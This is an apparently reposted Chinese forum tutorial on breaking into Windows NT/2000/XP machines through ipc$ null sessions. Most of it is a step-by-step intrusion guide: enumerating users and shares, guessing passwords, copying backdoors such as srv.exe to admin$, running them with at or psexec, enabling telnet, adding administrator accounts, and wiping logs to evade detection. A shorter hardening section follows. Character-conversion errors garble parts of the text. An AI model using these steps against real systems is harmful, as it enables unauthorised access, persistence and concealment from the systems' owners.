空鏈接ipc$入侵

使用命令 net use url=file://\\IP\ipc$\\IP\ipc$ "" /user:"" 就能夠簡單地和目標創建一個空鏈接(須要目標開放ipc$)。ios

1.基本簡介

網上關於 ipc$ 入侵的文章可謂多如牛毛,攻擊步驟甚至已經成了固化的模式,所以也沒人願意再把這已經成爲定式的東西拿出來擺弄。不過話雖這樣說,我認爲這些文章講解的並不詳細,一些內容甚至是錯誤的,以至對 ipc$ 的提問幾乎佔了各大安全論壇討論區的半壁江山,並且這些問題經常都是重複的,嚴重影響了論壇質量和學習效率,所以我總結了這篇文章,但願能把 ipc$ 這部分東西儘可能說清楚。
注意:本文所討論的各類狀況均默認發生在 win NT/2000/XP/win 7 環境下, win98 將不在這次討論之列。
空鏈接就是不用密碼和用戶名的IPC鏈接,在Windows 下,它是用 Net 命令來實現的.  進入空鏈接 net use \\IP地址"密碼" /user:"用戶名"  禁止空鏈接 開始-設置-控制面板-管理工具-服務 ,在服務中中止掉 server的服務就能夠了。

功能

IPC$(Internet Process Connection) 是共享 " 命名管道 " 的資源,它是爲了讓進程間通訊而開放的命名管道,經過提供可信任的用戶名和口令,鏈接雙方能夠創建安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。 IPC$ 是 NT/2000 的一項新功能,它有一個特色,即在同一時間內,兩個 IP 之間只容許創建一個鏈接。 NT/2000 在提供了 ipc$ 功能的同時,在初次安裝系統時還打開了默認共享,即全部的邏輯共享 (c$,d$,e$ …… ) 和系統目錄 winnt 或 windows(admin$) 共享。全部的這些,微軟的初衷都是爲了方便管理員的管理,但在有意無心中,致使了系統安全性的下降。

其餘

平時咱們總能聽到有人在說 ipc$ 漏洞, ipc$ 漏洞,其實 ipc$ 並非一個真正意義上的漏洞 , 我想之因此有人這麼說,必定是指微軟本身安置的那個‘後門':空會話( Null session )。那麼什麼是空會話呢?
 

2.空會話

創建

在介紹空會話以前,咱們有必要了解一下一個安全會話是如何創建的。
在 Windows NT 4.0 中是使用挑戰響應協議與遠程機器創建一個會話的,創建成功的會話將成爲一個安全隧道,創建雙方經過它互通訊息,這個過程的大體順序以下:
1 )會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的創建;
2 )服務器產生一個隨機的 64 位數(實現挑戰)傳送回客戶;
3 )客戶取得這個由服務器產生的 64 位數,用試圖創建會話的賬號的口令打亂它,將結果返回到服務器(實現響應);
4 )服務器接受響應後發送給本地安全驗證( LSA ), LSA 經過使用該用戶正確的口令來覈實響應以便確認請求者身份。若是請求者的賬號是服務器的本地賬號,覈實本地發生;若是請求的賬號是一個域的賬號,響應傳送到域控制器去核實。當對挑戰的響應覈實爲正確後,一個訪問令牌產生,而後傳送給客戶。客戶使用這個訪問令牌鏈接到服務器上的資源直到創建的會話被終止。
以上是一個安全會話創建的大體過程,那麼空會話又如何呢?
空會話是在沒有信任的狀況下與服務器創建的會話(即未提供用戶名與密碼),但根據 WIN2000 的訪問控制模型,空會話的創建一樣須要提供一個令牌,但是空會話在創建過程當中並無通過用戶信息的認證,因此這個令牌中不包含用戶信息,所以,這個會話不能讓系統間發送加密信息,但這並不表示空會話的令牌中不包含安全標識符SID (它標識了用戶和所屬組),對於一個空會話, LSA 提供的令牌的 SID 是 S- 1-5-7 ,這就是空會話的 SID ,用戶名是: ANONYMOUS LOGON (這個用戶名是能夠在用戶列表中看到的,可是是不能在 SAM 數據庫中找到,屬於系統內置的賬號),這個訪問令牌包含下面假裝的組:
Everyone
Network
在安全策略的限制下,這個空會話將被受權訪問到上面兩個組有權訪問到的一切信息。那麼創建空會話到底能夠做什麼呢?

應用

對於 NT ,在默認安全設置下,藉助空鏈接能夠列舉目標主機上的用戶和共享,訪問 everyone 權限的共享,訪問小部分註冊表等,並無什麼太大的利用價值;對 2000 做用更小,由於在 Windows 2000 和之後版本中默認只有管理員和備份操做員有權從網絡訪問到註冊表,並且實現起來也不方便,需藉助工具。
從這些咱們能夠看到,這種非信任會話並無多大的用處,但從一次完整的 ipc$ 入侵來看,空會話是一個不可缺乏的跳板,由於咱們從它那裏能夠獲得戶列表,而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解的,成功的導出用戶列表大大增長了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,所以說空會話毫無用處的說法是不正確的。如下是空會話中可以使用的一些具體命令:
1 首先,咱們先創建一個空會話(固然,這須要目標開放 ipc$ )
命令: net use\\ip\ipc$"" /user:"" (注:前邊引號「」內爲空密碼,後邊user:""引號中爲空用戶名)
注意:上面的命令包括四個空格, net 與 use 中間有一個空格, use 後面一個,密碼左右各一個空格。
2 查看遠程主機的共享資源
命令: net view\\ip
解釋:前提是創建了空鏈接後,用此命令能夠查看遠程主機的共享資源,若是它開了共享,能夠獲得以下面的結果,但此命令不能顯示默認共享。
在 \\*.*.*.* 的共享資源
資源共享名 類型 用途 註釋
-----------------------------------------------------------
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
命令成功完成。
3 查看遠程主機的當前時間
命令: net time\\ip
解釋:用此命令能夠獲得一個遠程主機的當前時間。
4 獲得遠程主機的 NetBIOS 用戶名列表(須要打開本身的 NBT )
命令: nbtstat -A ip
用此命令能夠獲得一個遠程主機的 NetBIOS 用戶名列表,返回以下結果:
Node IpAddress: [*.*.*.*] Scope Id: []
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
SERVER <00> UNIQUE Registered
OYAMANISHI-H <00> GROUP Registered
OYAMANISHI-H < 1C > GROUP Registered
SERVER <20> UNIQUE Registered
OYAMANISHI-H <1B> UNIQUE Registered
OYAMANISHI-H <1E> GROUP Registered
SERVER <03> UNIQUE Registered
OYAMANISHI-H <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
INet~Services < 1C > GROUP Registered
IS~SERVER......<00> UNIQUE Registered
MAC Address = 00-50-8B -9A -2D-37
以上就是咱們常用空會話作的事情,好像也能得到很多東西喲,不過要注意一點:創建 IPC$ 鏈接的操做會在 Event Log 中留下記錄,無論你是否登陸成功。 好了,那麼接下來咱們就來看看 ipc$ 所使用的端口是什麼?
 

3.關於操做

所用端口

首先咱們來了解一些基礎知識:
1 SMB:(Server Message Block) Windows 協議族,用於文件打印共享的服務;
2 NBT:(NETBios Over TCP/IP) 使用 137 ( UDP ) 138 ( UDP ) 139 ( TCP )端口實現基於 TCP/IP 協議的 NETBIOS網絡互聯。
3 在 WindowsNT 中 SMB 基於 NBT 實現,即便用 139 ( TCP )端口;而在 Windows2000 中, SMB 除了基於 NBT 實現,還能夠直接經過 445 端口實現。
有了這些基礎知識,咱們就能夠進一步來討論訪問網絡共享對端口的選擇了:
對於 win2000客戶端(發起端)來講:
1 若是在容許 NBT 的狀況下鏈接服務器時,客戶端會同時嘗試訪問 139 和 445 端口,若是 445 端口有響應,那麼就發送 RST 包給 139 端口斷開鏈接,用 455 端口進行會話,當 445 端口無響應時,才使用 139 端口,若是兩個端口都沒有響應,則會話失敗;
2 若是在禁止 NBT 的狀況下鏈接服務器時,那麼客戶端只會嘗試訪問 445 端口,若是 445 端口無響應,那麼會話失敗。
對於 win2000 服務器端來講:
1 若是容許 NBT, 那麼 UDP 端口 137, 138, TCP 端口 139, 445 將開放( LISTENING );
2 若是禁止 NBT ,那麼只有 445 端口開放。
咱們創建的 ipc$ 會話對端口的選擇一樣遵照以上原則。顯而易見,若是遠程服務器沒有監聽 139 或 445 端口, ipc$ 會話是沒法創建的。

失敗緣由

如下是一些常見的致使 ipc$ 鏈接失敗的緣由:
1 IPC 鏈接是 Windows NT 及以上系統中特有的功能,因爲其須要用到 Windows NT 中不少 DLL 函數,因此不能在 Windows 9.x/Me 系統中運行,也就是說只有 nt/2000/xp 才能夠相互創建 ipc$ 鏈接, 98/me 是不能創建 ipc$ 鏈接的;
2 若是想成功的創建一個 ipc$ 鏈接,就須要響應方開啓 ipc$ 共享,即便是空鏈接也是這樣,若是響應方關閉了 ipc$ 共享,將不能創建鏈接;
3 鏈接發起方未啓動 Lanmanworkstation 服務(顯示名爲: Workstation ):它提供網絡鏈結和通信,沒有它發起方沒法發起鏈接請求;
4 響應方未啓動 Lanmanserver 服務(顯示名爲: Server ):它提供了 RPC 支持、文件、打印以及命名管道共享, ipc$ 依賴於此服務,沒有它主機將沒法響應發起方的鏈接請求,不過沒有它仍可發起 ipc$ 鏈接;
5 響應方未啓動 NetLogon ,它支持網絡上計算機 pass-through 賬戶登陸身份(不過這種狀況好像很少);
6 響應方的 139 , 445 端口未處於監聽狀態或被防火牆屏蔽;
7 鏈接發起方未打開 139 , 445 端口;
8 用戶名或者密碼錯誤:若是發生這樣的錯誤,系統將給你相似於 ' 沒法更新密碼 ' 這樣的錯誤提示(顯然空會話排除這種錯誤);
9 命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號能夠省略,若是密碼爲空,能夠直接輸入兩個引號 "" 便可;
10 若是在已經創建好鏈接的狀況下對方重啓計算機,那麼 ipc$ 鏈接將會自動斷開,須要從新創建鏈接。
另外 , 你也能夠根據返回的錯誤號分析緣由:
錯誤號 5 ,拒絕訪問:極可能你使用的用戶不是管理員權限的;
錯誤號 51 , Windows 沒法找到網絡路徑:網絡有問題;
錯誤號 53 ,找不到網絡路徑: ip 地址錯誤;目標未開機;目標 lanmanserver 服務未啓動;目標有防火牆(端口過濾);
錯誤號 67 ,找不到網絡名:你的 lanmanworkstation 服務未啓動或者目標刪除了 ipc$ ;
錯誤號 1219 ,提供的憑據與已存在的憑據集衝突:你已經和對方創建了一個 ipc$ ,請刪除再連;
錯誤號 1326 ,未知的用戶名或錯誤密碼:緣由很明顯了;
錯誤號 1792 ,試圖登陸,可是網絡登陸服務沒有啓動:目標 NetLogon 服務未啓動;
錯誤號 2242 ,此用戶的密碼已通過期:目標有賬號策略,強制按期要求更改密碼。

複製文件

有些朋友雖然成功的創建了 ipc$ 鏈接,但在 copy 時卻遇到了這樣那樣的麻煩,沒法複製成功,那麼致使複製失敗的常見緣由又有哪些呢?
1. 對方未開啓共享文件夾
這類錯誤出現的最多,佔到 50% 以上。許多朋友在 ipc$ 鏈接創建成功後,甚至都不知道對方是否有共享文件夾,就進行盲目複製,結果致使複製失敗並且鬱悶的很。所以我建議你們在進行復制以前務必用 net view\\IP這個命令看一下你想要複製的共享文件夾是否存在(用軟件查看固然更好),不要認爲能創建 ipc$ 鏈接就必定有共享文件夾存在。
2. 向 默認共享 複製失敗
這類錯誤也是你們常常犯的,主要有兩個小方面:
1)錯誤的認爲能創建 ipc$ 鏈接的主機就必定開啓了默認共享,於是在創建完鏈接以後立刻向 c$,d$,admin$ 之類的默認共享複製文件,一旦對方未開啓默認共享,將致使複製失敗。 ipc$ 鏈接成功只能說明對方打開了 ipc$ 共享,並不能說明默認共享必定存在。 ipc$ 共享與默認共享是 兩碼 事, ipc$ 共享是一個命名管道,並非哪一個實際的文件夾,而默認共享倒是實實在在的共享文件夾;
2)因爲 net view\\IP這個命令沒法顯示默認共享文件夾(由於默認共享帶 $ ),所以經過這個命令,咱們並不能判斷對方是否開啓了默認共享,所以若是對方未開啓默認共享,那麼全部向默認共享進行的操做都不能成功;(不過大部分掃描軟件在掃弱口令的同時,都能掃到默認共享目錄,能夠避免此類錯誤的發生)
要點:請你們必定區分 ipc 共享,默認共享,普通共享這三者的區別: ipc 共享是一個管道,並非實際的共享文件夾;默認共享是安裝時默認打開的文件夾;普通共享是咱們本身開啓的能夠設置權限的共享文件夾。
3. 用戶權限不夠,包括四種情形:
1 )空鏈接向全部共享(默認共享和普通共享)複製時,權限是不夠的;
2 )向默認共享複製時,在 Win2000 Pro 版中,只有 Administrators 和 Backup Operators 組成員才能夠,在 Win2000 Server 版本 Server Operatros 組也能夠訪問到這些共享目錄;
3 )向普通共享複製時,要具備相應權限(即對方管理員事先設定的訪問權限);
4 )對方能夠經過防火牆或安全軟件的設置,禁止外部訪問共享;
注意:
A. 不要認爲 administrator 就必定具備管理員權限,管理員名稱是能夠改的
B. 管理員能夠訪問默認共享的文件夾,但不必定可以訪問普通的共享文件夾,由於管理員能夠對普通的共享文件夾進行訪問權限設置,管理員爲 D 盤設置的訪問權限爲僅容許名爲 xinxin 的用戶對該文件夾進行徹底訪問,那麼此時即便你擁有管理員權限,你仍然不能訪問 D 盤。不過有意思的是,若是此時對方又開啓了 D$ 的默認共享,那麼你卻能夠訪問 D$ ,從而繞過了權限限制,有興趣的朋友能夠本身作測試。
4. 被 防火牆 殺死或在局域網
還有一種狀況,那就是也許你的複製操做已經成功,但當遠程運行時,被防火牆殺掉了,致使找不到文件;或者你把木馬複製到了局域網內的主機,致使鏈接失敗(反向鏈接的木馬不會發生這種狀況)。若是你沒有想到這種狀況,你會覺得是複製上出了問題,但實際你的複製操做已經成功了,只是運行時出了問題。

命令限制

原本還想說一下用 at 遠程運行程序失敗的緣由,但考慮到 at 的成功率不是很高,問題也不少,在這裏就不提它了(提的越多,用的人就越多),而是推薦你們用 psexec.exe 遠程運行程序,假設想要遠程機器執行本地 c:\xinxin.exe 文件,且管理員爲 administrator ,密碼爲 1234 ,那麼輸入下面的命令:
psexec\\ip-u administrator -p 1234 -c c:\xinxin.exe
若是已經創建 ipc 鏈接,則 -u -p 這兩個參數不須要, psexec.exe 將自動拷貝文件到遠程機器並運行。
原本 xp 中的 ipc$ 也不想在這裏討論,想單獨拿出來討論,但看到愈來愈多的朋友很急切的提問爲何遇到 xp 的時候,大部分操做都很難成功。我在這裏就簡單提一下吧,在 xp 的默認安全選項中,任何遠程訪問僅被賦予來賓權限,也就是說即便你是用管理員賬戶和密碼,你所獲得的權限也只是 Guest ,所以大部分操做都會由於權限不夠而失敗,並且到目前爲止並無一個好的辦法來突破這一限制。因此若是你真的獲得了 xp 的管理員密碼,我建議你儘可能避開 ipc 管道。

共享

目標的 ipc$ 不是輕易就能打開的,不然就要天下打亂了。你須要一個 admin 權限的 shell ,好比 telnet ,木馬, cmd 重定向等,而後在 shell 下執行:
net share ipc$
開放目標的 ipc$ 共享;
net share ipc$ /del
關閉目標的 ipc$ 共享;若是你要給它開共享文件夾,你能夠用:
net share xinxin=c:\
這樣就把它的 c 盤開爲共享名爲 xinxin共享文件夾了。(但是我發現不少人錯誤的認爲開共享文件夾的命令是 net share c$ ,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操做都是在 shell 下才能實現的。

完成命令

看到不少教程這方面寫的十分不許確,一些須要 shell 才能完成命令就簡簡單單的在 ipc$ 鏈接下執行了,起了誤導做用。那麼下面我總結一下須要在 shell 才能完成的命令:
1 向遠程主機創建用戶,激活用戶,修改用戶密碼,加入管理組的操做須要在 shell 下完成;
2 打開遠程主機的 ipc$ 共享,默認共享,普通共享的操做須要在 shell 下完成;
3 運行 / 關閉遠程主機的服務,須要在 shell 下完成;
4 啓動 / 殺掉遠程主機的進程,也須要在 shell 下完成(用軟件的狀況下除外,如 pskill )。
入侵中可能會用到的 命令
爲了這份教程的完整性,我列出了 ipc$ 入侵中的一些經常使用命令,若是你已經掌握了這些命令,你能夠跳過這一部分看下面的內容。請注意這些命令是適用於本地仍是遠程,若是隻適用於本地,你只能在得到遠程主機的 shell (如 cmd , telnet 等)後,才能向遠程主機執行。
1 創建 / 刪除 ipc$ 鏈接的命令
1 )創建空鏈接 :
net use\\127.0.0.1\ipc$"" /user:""
2 )創建非空鏈接 :
net use\\127.0.0.1\ipc$" 密碼 " /user:" 用戶名 "
3 )刪除鏈接 :
net use\\127.0.0.1\ipc$/del
2 在 ipc$ 鏈接中對遠程主機的操做命令
1 ) 查看遠程主機的共享資源(看不到默認共享) :
net view\\127.0.0.1
2 ) 查看遠程主機的當前時間 :
net time\\127.0.0.1
3 ) 獲得遠程主機的 netbios 用戶名列表 :
nbtstat -A 127.0.0.1
4 )映射 / 刪除遠程共享 :
net use z:\\127.0.0.1\c
此命令將共享名爲 c 的共享資源映射爲本地 z 盤
net use z: /del
刪除映射的 z 盤,其餘盤類推
5 )向遠程主機複製文件 :
copy路徑\ 文件名\\IP\共享目錄名,如:
copy c:\xinxin.exe\\127.0.0.1\c$即將 c 盤下的 xinxin.exe 複製到對方 c 盤內
固然,你也能夠把遠程主機上的文件複製到本身的機器裏:
copy\\127.0.0.1\c$\xinxin.exec:\
6 )遠程添加計劃任務 :
at\\IP時間 程序名 如:
at\\127.0.0.011:00 xinxin.exe
注意:時間儘可能使用 24 小時制;若是你打算運行的程序在系統默認搜索路徑(好比 system32/ )下則不用加路徑,不然必須加全路徑
3 本地命令
1 )查看本地主機的共享資源(能夠看到本地的默認共享)
net share
2 )獲得本地主機的用戶列表
net user
3 )顯示本地某用戶的賬戶信息
net user賬戶名
4 )顯示本地主機當前啓動的服務
net start
5 )啓動 / 關閉本地服務
net start 服務名
net stop 服務名
6 )在本地添加賬戶
net user賬戶名密碼 /add
7 )激活禁用的用戶
net uesr賬戶名/active:yes
8 )加入管理員組
net localgroup administrators賬戶名/add
很顯然的是,雖然這些都是本地命令,但若是你在遠程主機的 shell 中輸入,好比你 telnet 成功後輸入上面這些命令,那麼這些本地輸入將做用在遠程主機上。
4 其餘一些命令
1 ) telnet
telnet IP 端口
telnet 127.0.0.0 23
2 )用 opentelnet.exe 開啓遠程主機的 telnet
OpenTelnet.exe\\ip管理員賬號 密碼 NTLM 的認證方式 port
OpenTelnet.exe\\127.0.0.1administrator "" 1 90
不過這個小工具須要知足四個要求:
1 )目標開啓了 ipc$ 共享
2 )你要擁有管理員密碼和賬號
3 )目標開啓 RemoteRegistry 服務,用戶就能夠更改 ntlm 認證
4 )對僅 WIN2K/XP 有效
3 )用 psexec.exe 一步得到 shell ,須要 ipc 管道支持
psexec.exe\\IP-u 管理員賬號 -p 密碼 cmd
psexec.exe\\127.0.0.1-u administrator -p "" cmd
對比過去和現今的 ipc$ 入侵
既然是對比,那麼我就先把過去的 ipc$ 入侵步驟寫給你們,都是蠻經典的步驟:
[1]
C:\>net use\\127.0.0.1\ipc$"" /user:admintitrators
\\ 用掃到的空口令創建鏈接
[2]
c:\>net view\\127.0.0.1
\\ 查看遠程的共享資源
[3]
C:\>copy srv.exe\\127.0.0.1\admin$\system32
\\ 將一次性後門 srv.exe 複製到對方的系統文件夾下,前提是 admin$ 開啓
[4]
C:\>net time\\127.0.0.1
\\ 查看遠程主機的當前時間
[5]
C:\>at\\127.0.0.1時間 srv.exe
\\ 用 at 命令遠程運行 srv.exe ,須要對方開啓了 'Task Scheduler' 服務
[6]
C:\>net time\\127.0.0.1
\\ 再次查看當前時間來估算 srv.exe 是否已經運行,此步能夠省略
[7]
C:\>telnet 127.0.0.1 99
\\ 開一個新窗口,用 telnet遠程登錄到 127.0.0.1 從而得到一個 shell( 不懂 shell 是什麼意思?那你就把它想象成遠程機器的控制權就行了,操做像 DOS) , 99 端口是 srv.exe 開的一次性後門的端口
[8]
C:\WINNT\system32>net start telnet
\\ 咱們在剛剛登錄上的 shell 中啓動遠程機器的 telnet 服務,畢竟 srv.exe 是一次性的後門,咱們須要一個長久的後門便於之後訪問,若是對方的 telnet 已經啓動,此步可省略
[9]
C:\>copy ntlm.exe\\127.0.0.1\admin$\system32
\\ 在原來那個窗口中將 ntlm.exe 傳過去, ntlm.exe 是用來更改 telnet身份驗證的
[10]
C:\WINNT\system32>ntlm.exe
\\ 在 shell 窗口中運行 ntlm.exe ,之後你就能夠暢通無阻的 telnet 這臺主機了
[11]
C:\>telnet 127.0.0.1 23
\\ 在新窗口中 telnet 到 127.0.0.1 ,端口 23 可省略,這樣咱們又得到一個長期的後門
[12]
C:\WINNT\system32>net user 賬戶名 密碼 /add
C:\WINNT\system32>net uesr guest /active:yes
C:\WINNT\system32>net localgroup administrators 賬戶名 /add
\\telnet上之後,你能夠創建新賬戶,激活 guest ,把任何賬戶加入管理員組等
好了,寫到這裏我彷佛回到了 2 , 3 年前,那時的 ipc$ 你們都是這麼用的,不過隨着新工具的出現,上面提到的一些工具和命令已經不經常使用到了,那就讓咱們看看高效而簡單的 ipc$ 入侵吧。
[1] psexec.exe\\IP-u 管理員賬號 -p 密碼 cmd
\\ 用這個工具咱們能夠一步到位的得到 shell
OpenTelnet.exe\\server管理員賬號 密碼 NTLM 的認證方式 port
\\ 用它能夠方便的更改 telnet 的驗證方式和端口,方便咱們登錄
[2] 已經沒有第二步了,用一步得到 shell 以後,你作什麼均可以了,安後門能夠用 winshell ,克隆就用 ca 吧,開終端用 3389.vbe ,記錄密碼用 win2kpass ,總之好的工具很多,隨你選了,我就很少說了。

防範入侵

1 禁止空鏈接進行枚舉 ( 此操做並不能阻止空鏈接的創建 )
運行 regedit ,找到以下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 把 RestrictAnonymous = DWORD 的鍵值改成: 1
若是設置爲 "1" ,一個匿名用戶仍然能夠鏈接到 IPC$ 共享,但沒法經過這種鏈接獲得列舉 SAM 賬號和共享信息的權限;在 Windows 2000 中增長了 "2" ,未取得匿名權的用戶將不能進行 ipc$ 空鏈接。建議設置爲 1 。若是上面所說的主鍵不存在,就新建一個再改鍵值。若是你以爲改註冊表麻煩,能夠在本地安全設置中設置此項: 在本地安全設置-本地策略-安全選項- ' 對匿名鏈接的額外限制 '
2 禁止默認共享
1 )察看本地共享資源
運行 -cmd- 輸入 net share
2 )刪除共享(重起後默認共享仍然存在)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (若是有 e,f, ……能夠繼續刪除)
3 )中止 server 服務
net stop server /y (從新啓動後 server 服務會從新開啓)
4 )禁止自動打開默認共享(此操做並不能關閉 ipc$ 共享)
運行 -regedit
server 版與pro 版 : 找到以下主鍵 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 把 AutoShareServer ( DWORD )的鍵值改成 :00000000 。
這兩個鍵值在默認狀況下在主機上是不存在的,須要本身手動添加,修改後重起機器使設置生效。
3 關閉 ipc$ 和默認共享依賴的服務 :server 服務
若是你真的想關閉 ipc$ 共享,那就禁止 server 服務吧:
控制面板- 管理工具 - 服務 - 找到 server 服務(右擊) - 屬性 - 常規 - 啓動類型 - 選已禁用,這時可能會有提示說: XXX 服務也會關閉是否繼續,由於還有些次要的服務要依賴於 server 服務,不要管它。
4 屏蔽 139 , 445 端口
因爲沒有以上兩個端口的支持,是沒法創建 ipc$ 的,所以屏蔽 139 , 445 端口一樣能夠阻止 ipc$ 入侵。
1 ) 139 端口能夠經過禁止 NBT 來屏蔽
本地鏈接- TCP/IT 屬性-高級- WINS -選‘禁用 TCP/IT 上的 NETBIOS '一項
2 ) 445 端口能夠經過修改註冊表來屏蔽
添加一個鍵值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
value: 0
修改完後重啓機器
注意:若是屏蔽掉了以上兩個端口,你將沒法用 ipc$ 入侵別人。
3 )安裝防火牆進行端口過濾
6 設置複雜密碼,防止經過 ipc$ 窮舉出密碼,我以爲這纔是最好的辦法,加強安全意識,比不停的打補丁要安全的多。
 

4.管道

ipc 管道原本是微軟爲了方便管理員進行遠程管理而設計的,但在入侵者看來,開放 ipc 管道的主機彷佛更容易得手。經過 ipc 管道,咱們能夠遠程調用一些系統函數(大多經過工具實現,但須要相應的權限),這每每是入侵成敗的關鍵。若是不考慮這些,僅從傳送文件這一方面, ipc 管道已經給了入侵者莫大的支持,甚至已經成爲了最重要的傳輸手段,所以你總能在各大論壇上看到一些朋友由於打不開目標機器的 ipc 管道而束手無策大呼救命。固然,咱們也不能忽視權限在 ipc 管道中扮演的重要角色,想必你必定品嚐過空會話的尷尬,沒有權限,開啓管道咱們也迫不得已。但入侵者一旦得到了管理員的權限,那麼 ipc 管道這把雙刃劍將顯示出它猙獰的一面。
 

5.問答精選

上面說了一大堆的理論東西,但在實際中你會遇到各類各樣的問題,所以爲了給予你們最大的幫助,我整理了各大安全論壇中一些有表明性的問答,其中的一些答案是我給出的,一些是論壇上的回覆,若是有什麼疑問,能夠來找我討論。
1. 進行 ipc$ 入侵的時候,會在服務器中留下記錄,有什麼辦法能夠不讓服務器發現嗎?
答:留下記錄是必定的,你走後用清除日誌程序刪除就能夠了,或者用肉雞入侵。
2. 你看下面的狀況是爲何,能夠鏈接但不能複製
net use\\***.***.***.***\ipc$" 密碼 " /user:" 用戶名 "
命令成功
copy icmd.exe\\***.***.***.***\admin$
找不到網絡路徑
命令不成功
答:像「找不到網絡路徑」「找不到網絡名」之類的問題,大可能是由於你想要複製到的共享文件夾沒有開啓,因此在複製的時候會出現錯誤,你能夠試着找找其餘的共享文件夾。
3. 若是對方開了 IPC$ ,且能創建空聯接,但打開 C 、 D 盤時,都要求密碼,我知道是空鏈接沒有太多的權限,但沒別的辦法了嗎?
答:建議先用流光或者別的什麼掃描軟件試着猜解一下密碼,若是猜不出來,只能放棄,畢竟空鏈接的能力有限。
4. 我已經猜解到了管理員的密碼,且已經 ipc$ 鏈接成功了,但 net view\\ip發現它沒開默認共享,我該怎麼辦?
答:首先糾正你的一個錯誤,用 net view\\ip是沒法看到默認共享的,你能夠試着將文件複製到 c$ , d$ 看看,若是都不行,說明他關閉了默認共享,那你就用 opentelnet.exe 或 psexec.exe 吧,用法上面有。
5.ipc$ 鏈接成功後,我用下面的命令創建了一個賬戶,卻發現這個賬戶在我本身的機器上,這是怎麼回事?
net uset ccbirds /add
答: ipc$ 創建成功只能說明你與遠程主機創建了通訊隧道,並不意味你取得了一個 shell ,只有在得到一個 shell (好比 telnet )以後,你才能在遠程機器創建一個賬戶,不然你的操做只是在本地進行。
6. 我已進入了一臺肉機,用的管理員賬號,能夠看他的系統時間,可是複製程序到他的機子上卻不行,每次都提示「拒絕訪問,已複製 0 個文件」,是否是對方有什麼服務沒開,我該怎麼辦?
答:通常來講「拒絕訪問」都是權限不夠的結果,多是你用的賬戶有問題,還有一種可能,若是你想向普通共享文件夾複製文件卻返回這個錯誤,說明這個文件夾設置的容許訪問用戶中不包括你(哪怕你是管理員),這一點我在上一期文章中分析了。
7. 我用 Win98 能與對方創建 ipc$ 鏈接嗎?
答:理論上不能夠,要進行 ipc$ 的操做,建議用 win2000 ,用其餘操做系統會帶來許多沒必要要的麻煩。
8. 我用 net use\\ip\ipc$"" /user "" 成功的創建了一個空會話,但用 nbtstat -A IP 卻沒法導出用戶列表,這是爲何?
答:空會話在默認的狀況下是能夠導出用戶列表的,但若是管理員經過修改註冊表來禁止導出列表,就會出現你所說的狀況;還有多是你本身的 NBT 沒有打開, netstat 命令是創建在 NBT 之上的。
9. 我創建 ipc$ 鏈接的時候返回以下信息:‘提供的憑據與已存在的憑據集衝突',怎麼回事?
答:呵呵,這說明你已經與目標主機創建了 ipc$ 鏈接,兩個主機間同時創建兩個 ipc$ 鏈接是不容許的。
10. 我在映射的時候出現:
F:\>net use h:\\211.161.134.*\e$
系統發生 85 錯誤。
本地設備名已在使用中。這是怎麼回事?
答:你也太粗心了吧,這說明你有一個 h 盤了,映射到沒有的盤符吧!
11. 我創建了一個鏈接 f:\>net use\\*.*.*.*\ipc$"123" /user:"guest" 成功了,但當我映射時出現了錯誤,向我要密碼,怎麼回事?
F:\>net use h:\\*.*.*.*\c$
密碼在\\*.*.*.*\c$無效。
請鍵入\\*.*.*.*\c$的密碼 :
系統發生 5 錯誤。
拒絕訪問。
答:呵呵,向你要密碼說明你當前使用的用戶權限不夠,不能映射 C$ 這個默認共享,想辦法提高權限或者找管理員的弱口令吧!默認共享通常是須要管理員權限的。
12. 我用superscan掃到了一個開了 139 端口的主機,但爲何不能空鏈接呢?
答:你混淆了 ipc$ 與 139 的關係,能進行 ipc$ 鏈接的主機必定開了 139 或 445 端口,但開這兩個端口的主機可不必定能空鏈接,由於對方能夠關閉 ipc$ 共享 .
13. 咱們局域網裏的機器大多都是 xp ,我用流光掃描到幾個 administrator 賬號口令是空,並且能夠鏈接,但不能複製東西,說錯誤 5 。請問爲何?
答: xp 的安全性要高一些,在安全策略的默認設置中,對本地賬戶的網絡登陸進行身份驗證的時候,默認爲來賓權限,即便你用管理員遠程登陸,也只具備來賓權限,所以你複製文件,固然是錯誤 5 :權限不夠。
14. 我用 net use\\192.168.0.2\ipc$"password" /user:"administrator" 成功,但是 net use i:\\192.168.0.2\c
出現請鍵入\\192.168.0.2的密碼,怎麼回事情呢?我用的但是管理員呀?應該什麼均可以訪問呀?
答:雖然你具備管理員權限,但管理員在設置 c 盤共享權限時(注意:普通共享能夠設置訪問權限,而默認共享則不能)可能並未設置容許 administrator 訪問,因此會出現上述問題。
15. 若是本身的機器禁止了 ipc$, 是否是還能夠用 ipc$ 鏈接別的機器?若是禁止 server 服務呢?
答:禁止以上兩項仍能夠發起 ipc$ 鏈接,不過這種問題本身動手試驗會更好。
16. 能告訴我下面的兩個錯誤產生的緣由嗎?
c:\>net time\\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。
c:\>net view\\61.225.*.*
系統發生 5 錯誤。
拒絕訪問。
答:起初遇到這個問題的時候我也很納悶,錯誤 5 表示權限不夠,但是連空會話的權限均可以完成上面的兩個命令,他爲何不行呢?難道是他沒創建鏈接?後來那個粗心的同志告訴個人確是這樣,他忘記了本身已經刪了 ipc$ 鏈接,以後他又輸入了上面那兩個命令,隨之發生了錯誤 5 。
17. 您看看這是怎麼回事?
F:\>net time
找不到時間服務器。
請鍵入 NET HELPMSG 3912 以得到更多的幫助。
答:答案很簡單,你的命令錯了,應該是 net time\\ip
沒輸入 ip 地址,固然找不到服務器。 view 的命令也應該有 ip 地址,即: net view\\ip
相關文章
相關標籤/搜索